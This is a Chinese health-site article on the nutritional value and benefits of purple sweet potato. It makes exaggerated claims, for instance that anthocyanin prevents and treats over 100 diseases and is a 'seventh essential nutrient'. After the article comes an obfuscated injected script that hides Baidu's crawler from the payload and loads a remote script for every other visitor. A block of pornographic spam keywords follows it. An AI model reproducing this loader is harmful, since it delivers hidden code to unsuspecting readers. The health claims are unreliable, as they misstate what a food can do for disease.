當前位置:首頁 > 飲食 > 食物營養 > 正文

紫薯的營養價值和功效有什么

2017-07-11 22:46:53  來源:360常識網   熱度:
導語:紫薯是薯類的一種,在具備紅薯營養價值的同時要比紅薯營養價值高很多,而且還可以起到對人身體的養生功效,是一種既營養又可以調理身體的食

紫薯是薯類的一種,在具備紅薯營養價值的同時要比紅薯營養價值高很多,而且還可以起到對人身體的養生功效,是一種既營養又可以調理身體的食物,在平時的時候我們經常吃紫薯可以使身體更加的結實,主要是可以防止各種疾病的發生,紫薯的營養價值和功效有什么?下面我們一起來進行一下了解。

紫薯的營養價值

紫薯除了具有普通紅薯的營養成分外,還富含硒元素和花青素。花青素對100多種疾病有預防和治療作用,被譽為繼水、蛋白質、脂肪、碳水化合物、維生素、礦物質之后的第七大必需營養素。花青素是目前科學界發現的防治疾病、維護人類健康最直接、最有效、最安全的自由基清除劑,其清除自由基的能力是維生素C的20倍、維生素E的50倍。紫紅薯將成為花青素的主要原料之一。

紫薯的功效與作用

它除了具有普通紅薯的營養成分外,還富含硒元素和花青素。紫薯營養豐富具特殊保健功能,它含有20%左右的蛋白質,包括18種氨基酸,易被人體消化和吸收,其中包括維生素C、B、A等8種維生素和磷、鐵等10多種礦物元素,內含有大量藥用價值高的花青素,法國科學家馬斯魁勒博士發現花青素是天然強效自由基清除劑。

花青素對100多種疾病有預防和治療作用,被譽為繼水、蛋白質、脂肪、碳水化合物、維生素、礦物質之后的第七大必需營養素。

花青素是目前科學界發現的防治疾病、維護人類健康最直接、最有效、最安全的自由基清除劑,其清除自由基的能力是維生素C的20倍、維生素E的50倍。花青素具有小分子結構,是唯一能透過血腦屏障清除自由基保護大腦細胞的物質,同時能減少抗生素給人體的一些危害,紫紅薯將成為花青素的主要原料之一。

以上就是關于紫薯的營養價值和功效有什么的介紹,紫薯是一種食物,同時也可以通過紫薯做成各種各樣有顏色的美食,起到色、香、味俱全的效果,另外平時的時候多吃紫薯對人身體的養生和保健功效是認可的,同時也被越來越多的人接受。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品美女久久久| 拍真实国产伦偷精品| 精品一区二区三区波多野结衣| 四虎一影院区永久精品| 久久精品www人人爽人人| 国产午夜亚洲精品不卡电影| 99RE久久精品国产| 成人区人妻精品一区二区不卡网站| 亚洲午夜精品久久久久久app| 国产精品拍天天在线| 精品不卡一区中文字幕 | 国内少妇人妻偷人精品xxx| 亚洲精品一卡2卡3卡三卡四卡| 久久久WWW免费人成精品| 另类ts人妖精品影院| 99亚洲精品高清一二区| 国产999精品2卡3卡4卡| 美女免费精品高清毛片在线视 | 国产精品美女一区二区三区| 特级精品毛片免费观看| 国产成人综合日韩精品无码不卡 | 国产精品无码国模私拍视频| 国产精品视频在线观看| 亚洲国产精品免费在线观看| 久久91精品久久91综合| 国产av无码专区亚洲国产精品| 夜夜精品视频一区二区| 国产精品视频yuojizz| 99在线观看精品| 久久精品丝袜高跟鞋| 99精品久久精品一区二区| 日韩精品一区二区三区中文字幕| 无码人妻精品一区二区三区9厂| 精品国精品无码自拍自在线| 久久久久国产精品免费免费不卡| 国产AV午夜精品一区二区三| 精品视频在线观看你懂的一区| 无码AV动漫精品一区二区免费| 精品中文字幕久久久久久| 久久精品成人一区二区三区| 99re热免费精品视频观看|